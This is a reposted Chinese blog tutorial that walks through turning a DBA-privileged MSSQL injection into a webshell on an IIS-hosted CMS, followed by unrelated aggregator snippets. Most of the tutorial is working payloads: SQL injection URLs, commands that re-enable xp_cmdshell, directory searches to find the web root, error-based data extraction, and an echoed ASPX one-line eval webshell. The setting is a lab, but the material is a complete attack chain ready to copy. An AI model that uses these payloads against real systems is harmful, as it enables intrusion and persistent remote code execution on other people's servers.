MSSQL DBA权限获取WEBSHELL的过程

前言

本文主要通过一个案例来演示一下当MSSQL是DBA权限,且不知道路径的时候如何去获取WEBSHELL。当然这种方式对站库分离的无效。
我测试的环境是在Win7 64位下,数据库是SQLServer 2000,IIS版本是7.5,程序是采用风讯的CMS。后台登录后有多处注入,因为这里是演示用注入获取WEBSHELL,因此就不考虑后台上传的情况了,只是用注入来实现。

过程

首先找到一个如下的注入点:

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1' and 1=user;--

通过SQLMAP可以查看到是DBA权限注入点

DBA权限

创建临时表

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';CREATE TABLE tt_tmp (tmp1 varchar(8000));--

在WINDOWS下查找文件用如下命令:
创建临时表

for /r 目录名:\ %i in (匹配模式) do @echo %i

例如在C盘下搜索NewsList.aspx,可以使用for /r c:\ %i in (Newslist*.aspx) do @echo %i或者for /r c:\ %i in (Newslist.aspx*) do @echo %i

使用for /r c:\ %i in (Newslist*.aspx) do @echo %i的搜索结果
正确的搜索方式

一定要在匹配模式里面加上一个*号,不然搜索出来的是全部的目录,后面拼接了你搜索的内容。
使用for /r c:\ %i in (Newslist.aspx) do @echo %i的搜索结果

错误的搜索结果

用xp_cmdshell执行查找文件的命令,并将搜索的结果插入到临时表中

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';insert into tt_tmp(tmp1) exec master..xp_cmdshell 'for /r c:\ %i in (Newslist*.aspx) do @echo %i ';--

无法执行xp_cmdshell如果无法执行xp_cmdshell,并提示如下错误SQL Server阻止了对组件‘xp_cmdshell’的过程‘sys.xp_cmdshell’的访问。因为此组件已作为此服务嚣安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用‘xp_cmdshell’。

可以使用如下命令来启用xp_cmdshell

;EXEC sp_configure 'show advanced options',1;//允许修改高级参数
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展
RECONFIGURE;--

执行搜索并结果插入到临时表然后再次执行搜索命令。

在执行上述搜索和插入过程后,可以使用' and (select(*) from tt_tmp)>1页面返回是否正常来判断是否有搜索结果。当没有找到的话,select(*) from tt_tmp的结果为1,否则大于1。如果没有的话,就换目录,可以试试其他盘符,如';insert into tt_tmp(tmp1) exec master..xp_cmdshell 'for /r d:\ %i in (Newslist*.aspx) do @echo %i ';--。也可以使用sqlmap来查看条数。

可以用报错将表内容给显示出来

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=2' and 1=(select top 1 tmp1 from tt_tmp)and 'a'='a

报错读出1 

继续爆

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=2' and 1=(select top 1 tmp1 from tt_tmp where tmp1 not in ('c:\inetpub\wwwroot\manage\news\NewsList.aspx '))and 'a'='a

报错读出2 

也可以用sqlmap直接将表中数据读取出来

导出临时表

然后根据导出结果的路径来判断是否可能为WEB目录。然后写入一个测试文件,看是否可以访问来进一步证实结果。

这里在根目录写了一个txt文件,写别的目录怕因为没有权限而无法访问。

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';exec master..xp_cmdshell 'echo test >c:\\WWW\\2333.txt';--

查看写入的测试文件

然后访问http://192.168.232.138:81/2333.txt

成功访问,然后就是写一句话

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx' ;--

DOS命令将文件写入文本中时,遇到<>应在前面加上^成功写入。然后就是进一步的操作了,这里就不概述了。
查看一句话

总结:

这里一共有三个小的知识点:
1.sa用户如何开启xp_cmdshell

EXEC sp_configure 'show advanced options',1;//允许修改高级参数
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展
RECONFIGURE;

2.Windows下利用dos如何搜索文件 

for /r c:\ %i in (Newslist*.aspx) do @echo %i
for /r c:\ %i in (Newslist.aspx*) do @echo %i

3.dos命令下写文件遇到<>如何处理 

echo ^<^> > 123.txt

 

 

参考:

[1]Windows命令行(cmd)下快速查找文件(类似Linux下find命令) 
[2]技术分享:MSSQL注入xp_cmdshell

 

 

转载于:https://www.cnblogs.com/backlion/p/6869595.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/269376.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

用编码实现gridview的创建!(一)(转www.asp.net)

完全用编码实现gridview创建和clounms的添加。 原理大概是三部分&#xff1a; datasource对象的设置和gridview对象的设置和Columns的添加。看完后感觉不难&#xff0c;但是人家的思路的确值得我们推敲。 这是第一部分&#xff0c;等第二部分出来了&#xff0c;马上更新。 prot…

计算机报名显示事务已被锁死,ORA-01591错误处理: 锁定已被有问题的分配事务处理20.18.156406挂起(转载)...

现象&#xff1a;dms中几乎所有的入库出库都报错2005-12-10 09:12:53 [ERROR] com.topup.ent.kroraina.model.sysmgmt.usersqlquery.USqlQueryDAO (USqlQueryDAO.java :4255) - errorjava.sql.SQLException: ORA-01591: 锁定已被有问题的分配事务处理20.18.156406挂…

系统进程和服务全集

系统进程和服务全集一、最基本的系统进程&#xff08;也就是说&#xff0c;这些进程是系统运行的基本条件&#xff0c;有了这些进程&#xff0c;系统就能正常运行&#xff09;smss.exe Session Managercsrss.exe 子系统服务器进程winlogon.exe 管理用户登录 services.exe 包含很…

筛选染色体连续区域的策略

要求&#xff1a;筛选染色体上符合要求的连续的纯合突变区域。perl (/(ㄒoㄒ)/~~现在只会用perl) 笨办法&#xff0c;正则匹配&#xff1a; 举例子1&#xff1a; my $info(HOMA,871334,HET,874950,HOMA,876499,HOMA,887643); while($info ~ /((HOMA,(\d),){2,})/g){ pr…

macpro连接不到索尼耳机WH-1000XM3搜索不到索尼连接

这个苹果电脑应该不是你耳机连接的第一个设备&#xff0c;这样的话将耳机在关机状态下长按七秒左右&#xff0c;直到指示灯显示红蓝色闪烁&#xff0c;然后再次尝试连接蓝牙就可以了&#xff0c;这个其实是耳机为了防止连错其他设备而做的设置&#xff0c;我们将这个状态重置了…

最新服务器处理器天梯,2019服务器CPU天梯图之性能排行榜(双路三路四路) - 服务器百科...

排名多路处理器CPU性能分1[四路] Intel Xeon Platinum 8180 2.50GHz441392[双路] Intel Xeon Gold 6154 3.00GHz359483[双路] Intel Xeon Gold 6138 2.00GHz356594[双路] Intel Xeon Gold 6152 2.10GHz353685[双路] Intel Xeon E5-2699 v4 2.20GHz343306[双路] Intel Xeon…

第十章 Internet

第十章 Internet ☆ 当前信息网络发展的三个趋向&#xff1a; &#xff08;1&#xff09; 国家信息基础设施&#xff08;NII&#xff09;和全球信息基础设施&#xff08;GII&#xff09;的规划和建设&#xff1b; &#xff08;2&#xff09; 全世界最大的互联网&#xff08;Int…

Java作业08 计科1501 闫国雨

&#xff08;一&#xff09;学习总结 1.用思维导图对本周的学习内容进行总结。 参考资料&#xff1a; XMind。 2.通过实验内容中的具体实例说明在执行executeUpdate&#xff08;&#xff09;方法和executeQuery&#xff08;&#xff09;方法中使用动态参数时&#xff0c;为什么…

be服务器未正常运行5.4.15,在CatOS平台上恢复处于errDisable状态的端口-Cisco.PDF

在CatOS平台上恢复处于errDisable状态的端口-Cisco目录简介先决条件要求使用的组件规则errDisable使用 errDisable 的平台errDisable 的功能errDisable 的原因从 errDisable 中恢复errDisable 的扩展如何从 errDisable 状态中恢复端口修复Error-Disabled 端口 - 示例BPDU 端口防…

偷学Office 2007之易用性改造

今天碰巧看了Office 2007的网络教程&#xff0c;发现有很多我们可以学习的地方。 Excel 2007的教程地址为&#xff1a;http://office.microsoft.com/training/training.aspx?AssetIDRC100620752052 我将这个网站上我认为的重点的几点列出来&#xff0c;大家共同学习。 第一、E…

mysql 如何提高批量导入的速度

mysql 如何提高批量导入的速度 最近一个项目测试&#xff0c;有几个mysql数据库的表数据记录达到了几十万条&#xff0c;在搭建测试环境 导入 测试数据时&#xff0c;十分慢。在网上搜索了一下&#xff0c;有下面一些方法可以加快mysql数据库导入数据的速度&#xff1a;0. 最快…

cad指定服务器名称,配置网络许可服务器 | AutoCAD 2022 | Autodesk Knowledge Network

涵盖的产品和版本3ds Max 2017, 3ds Max 2018, 3ds Max 2019, 3ds Max 2020, 3ds Max 2021, 3ds Max 2022, Advance Steel 2017, Advance Steel 2018, Advance Steel 2019, Advance Steel 2020, Advance Steel 2021, Advance Steel 2022, Alias Products 2017, Alias Products …

intel服务器最新主板芯片组,intel主板芯片组的介绍

intel主板芯片组的介绍intel主板芯片组是什么&#xff1f;芯片组是构成主板电路的核心&#xff0c;那么intel主板芯片组有哪些东西呢?下面是小编整理的intel主板芯片组的介绍&#xff0c;欢迎阅读&#xff0c;更多消息请关注应届毕业生网。芯片组是构成主板电路的核心。一定意…

ceph学习之pool

pool是ceph存储数据时的逻辑分区&#xff0c;它起到namespace的作用。其他分布式存储系统&#xff0c;比如Mogilefs、Couchbase、Swift都有pool的概念&#xff0c;只是叫法不同。每个pool包含一定数量的PG&#xff0c;PG里的对象被映射到不同的OSD上&#xff0c;因此pool是分布…

Jmeter作用域

第一种&#xff1a; http1、2、3无作用域的概念   循环控制器&#xff1a;http2,3,图形结果 图形结果&#xff1a;http2,3 聚合报告&#xff1a;http1,2,3 第二种&#xff1a; 固定定时器&#xff1a;http1 循环控制器&#xff1a;http2&#xff0c;3&#xff0c;图形结果&am…

Lucene Inverted index(倒排索引)原来快速入门

Lucene是一个高性能的JAVA全文检索工具包&#xff0c;它使用的是倒排文件索引结构。该结构及相应的生成算法如下&#xff1a; 设有两篇文章1和2&#xff1a;文章1的内容为&#xff1a;Tom lives in Guangzhou, I live in Guangzhou too.文章2的内容为&#xff1a;He once live…

计算机二级word奇偶页眉页脚,Word怎样设置奇偶页眉和页码图解

给文档设置奇偶页码是计算机二级中必考的一项&#xff0c;并且你以后的工作中也会用到&#xff0c;许多人都觉得这个很难&#xff0c;接下来学习啦小编就教大家在Word中设置奇偶页不同的页眉和页码的操作方法。Word中设置奇偶页不同的页眉和页码的方法教大家设置在正文页上添加…